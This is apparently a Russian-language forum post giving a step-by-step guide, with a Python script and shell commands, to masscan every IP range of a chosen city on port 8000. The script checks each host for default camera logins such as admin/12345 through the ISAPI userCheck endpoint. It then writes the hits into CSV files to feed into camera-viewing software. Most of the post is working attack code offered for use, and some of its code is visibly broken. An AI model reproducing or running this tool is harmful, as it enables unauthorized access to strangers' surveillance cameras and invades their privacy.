Немного модернизации. Сканируем в масштабах города.
Действие номер 1:
Открываем
https://4it.me Вбиваем свой город.
Действие 2:
копируем все диапазоны Вашего города в файл scan-r.txt
Действие 3:
Добавляем "range =" в начало каждой строки
awk '{print "range = "$0}' /tmp/scan-r.txt > /tmp/scan-range.txt
Действие 4:
вставляем содержимое /tmp/scan-range.txt
в параметр
MASSCANRANGECONF = '''http-user-agent =
neocaine@blablabla.ru
range = 31.136.209.0/21
range = 218.31.161.0/20'''
скрипта
.SpoilerTarget" type="button">Spoiler: Python Script
# INSTALL
# Requirements
# Root Priveleges
#
https://github.com/martinblech/xmltodict - XML To Dictionary Parser
#
https://github.com/robertdavidgraham/masscan - Masscan For Range Scanning
#CONSTANTS
LOGIN = 'admin'
PWD = '12345'
SCRIPTRESULT = 'result.txt'
LOGGINGLEVEL = 40 # 'CRITICAL' : 50, 'ERROR' : 40, 'WARNING' : 30, 'INFO' : 20, 'DEBUG' : 10
ARCHIVEPATH = '/tmp/ipcam/archive//'
ARCHIVEFOLDERNAME = 'archive'
MASSCANFOLDER = '/home/neocaine/'
MASSCANRESULT = 'scan.xml'
MASSCANEXCLUDE = 'exclude'
MASSCANCONF = 'cam.conf'
MASSCANCAMPORTCONF = 'port = 8000'
MASSCANOUTPUTFORMATCONF = 'output-format = xml'
MASSCANRESULTCONF = 'output-filename = ' + MASSCANFOLDER+MASSCANRESULT
MASSCANEXCLUDECONF = 'excludefile = ' + MASSCANFOLDER+MASSCANEXCLUDE
MASSCANRANGECONF = '''http-user-agent =
neocaine@blablabla.ru
range = 31.136.209.0/21
range = 218.31.161.0/20'''
import requests
import xmltodict
import shutil, zipfile
import os, logging, time
from datetime import datetime, timedelta
from urllib2 import urlopen
import urllib2, httplib
import socket
import requests
def make_conf_for_masscan():
masscan_config = MASSCANRANGECONF + '\r\n'\
+ MASSCANCAMPORTCONF + '\r\n'\
+ MASSCANEXCLUDECONF + '\r\n'\
+ MASSCANOUTPUTFORMATCONF + '\r\n'\
+ MASSCANRESULTCONF
fname = MASSCANFOLDER + MASSCANCONF
if os.path.exists(fname):
os.remove(fname)
open(fname, 'a').close()
with open(fname, 'a') as masscan_conf:
masscan_conf.seek(0)
masscan_conf.write(masscan_config)
masscan_conf.close()
else:
open(fname, 'a').close()
with open(fname, 'a') as masscan_conf:
masscan_conf.seek(0)
masscan_conf.write(masscan_config)
masscan_conf.close()
fnameExclude = MASSCANFOLDER + MASSCANEXCLUDE
open(fnameExclude, 'a').close()
def start_masscan():
os.system('/usr/bin/masscan -c '+MASSCANFOLDER+MASSCANCONF)
#MakeDir Function
def mkdir(dir):
logging.debug('_Function Called mkdir (dir = %s)' % dir)
try:
os.stat(dir)
except:
os.makedirs(dir)
def zipdir(path, zip):
logging.debug('_Function Called zipdir(path = %s, zip = %s)' % (path, zip))
for root, dirs, files in os.walk(path):
for file in files:
zip.write(os.path.join(root, file))
def delete_previous_file():
logging.debug('_Function Called deletePreviousFile')
try:
os.remove(MASSCANFOLDER + MASSCANRESULT)
os.remove(MASSCANFOLDER + SCRIPTRESULT)
except:
logging.warn("Cant Delete Folder Tree at %s" % MASSCANFOLDER)
def setup_custom_logger(name):
formatter = logging.basicConfig(format=u'%(filename)s '
u'[LINE:%(lineno)d]# '
u'%(levelname)-8s '
u'[%(asctime)s] '
u'%(message)s', level=LOGGINGLEVEL)
handler = logging.StreamHandler()
handler.setFormatter(formatter)
logger = logging.getLogger(name)
logger.setLevel(logging.DEBUG)
logger.addHandler(handler)
return logger
def test_default_log_pass(ip):
logging.debug('_Function Called testDefaultLogPass(ip) with ip=%s', ip)
url = '
http://'+LOGIN+':'+PWD+'@' + ip +'/ISAPI/Security/userCheck?timeStamp=' + unixtime
class MyException(Exception):
pass
try:
a =urllib2.urlopen("http://"+ip, timeout = 3)
except urllib2.URLError, e:
logging.warning('Exception in urllib2.urlopen = %s', e)
return 0
except socket.timeout, e:
logging.warning('Exception in socket = %s', e)
return 0
except socket.error, e:
logging.warning('Exception in socket = %s', e)
return 0
except requests.ConnectionError, e:
logging.warning('Exception in request = %s', e)
return 0
except requests.RequestException,e:
logging.warning('Exception in request = %s', e)
return 0
except httplib.BadStatusLine, e:
logging.warning('Exception in httplib = %s', e)
return 0
except:
logging.warning("Unknown Exception while urllib2.urlopen")
return 0
logging.debug('Request Post To = %s', url)
values = {'username': LOGIN,
'password': PWD}
r = requests
try:
r = requests.post(url, data=values)
except requests.ConnectionError, e:
logging.warning('Exception in requests = %s', e)
return 0
except httplib.BadStatusLine, e:
logging.warning('Exception in httplib = %s', e)
return 0
except:
logging.warning("Unknown Exception while requests.post")
return 0
fname = MASSCANFOLDER + MASSCANRESULT
if os.path.exists(fname):
os.remove(fname)
open(fname, 'a').close()
with open(fname, 'a') as myxmlfile:
myxmlfile.seek(0)
myxmlfile.write(r.content)
myxmlfile.close()
else:
open(fname, 'a').close()
with open(fname, 'a') as myxmlfile:
myxmlfile.seek(0)
myxmlfile.write(r.content)
myxmlfile.close()
with open(fname) as fd:
try:
obj = xmltodict.parse(fd.read())
except:
logging.warning("Can`t Parse Required xml data")
return 0
try:
if int(obj['userCheck']['statusValue']) == 200:
print ip + ' Has Default Log Password'
os.system('/bin/echo ' + ip + ' Has Default Log Password'+ '>>' + MASSCANFOLDER+SCRIPTRESULT)
os.system('/bin/echo ' + ip + '>>' + MASSCANFOLDER + MASSCANEXCLUDE)
except:
logging.debug("xml unknown format = %s",ip)
def masscan_return_parser():
fname = MASSCANFOLDER + MASSCANRESULT
if not os.path.exists(fname):
print(fname)
print("WTF")
exit()
with open(fname) as masscanResult:
objects = xmltodict.parse(masscanResult.read())
for w in objects['nmaprun']['host']:
logging.debug("Getting Ip from XML = %s", w['address']['@addr'])
test_default_log_pass(w['address']['@addr'])
logger = setup_custom_logger('root')
datenow = datetime.now()
unixtime = str(time.time() + timedelta(days=3).total_seconds())
delete_previous_file()
make_conf_for_masscan()
start_masscan()
masscan_return_parser()
не забудьте выставить LOGIN и PASS
Действие 5:
после скрипта будет файл scan.xml
из него нам нужно вытащить все IP адреса
cat /tmp/scan.xml | awk '{print $3}' | egrep -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}" > /tmp/scan.txt
файл /tmp/scan.txt будет содержать только IP адреса из файла scan.xml
Действие 6:
Полученный на этапе 5 файл scan.txt нужно распарсить по 256 строк
создаем файл split.sh
.SpoilerTarget" type="button">Spoiler: split.sh
#!/bin/bash
# split.sh
if [ -z "$1" ]; then
echo "Need file name as parameter"
fi
L=256
M=$(wc -l "$1" | egrep -o '^[0-9]+')
N=$((M / L))
if [[ $((N*L)) -lt $M ]]; then
tail -n$((M - N*L)) "$1" > "$1$((N+1))";
fi
for ((i=0; i "$1$i";
done
запускаем split.sh
./split.sh /tmp/scan.txt
на выходе будет куча файлов с IP адресами по 256 строк.
Действие 7:
скармливаем кадый файл с 256 IP адресами из предидущего действия следующему скрипту
.SpoilerTarget" type="button">Spoiler: CSV.py
login = 'admin'
passw = 'admin'
file = open('/tmp/scan.txt','r')
csv = open('/root/out_'+login+'_'+passw+'.csv','w')
k = 0
for line in file:
temp = '"' + str(k) + '_ip1","0","'+line[0:-1:1]+'","8000","0","'+login+'","'+passw+'","0","1","0" ,"0"'+'\n'
csv.write(temp)
k += 1
csv.close()
file.close()
На выходу будем иметь файл для скармливания Программе для камер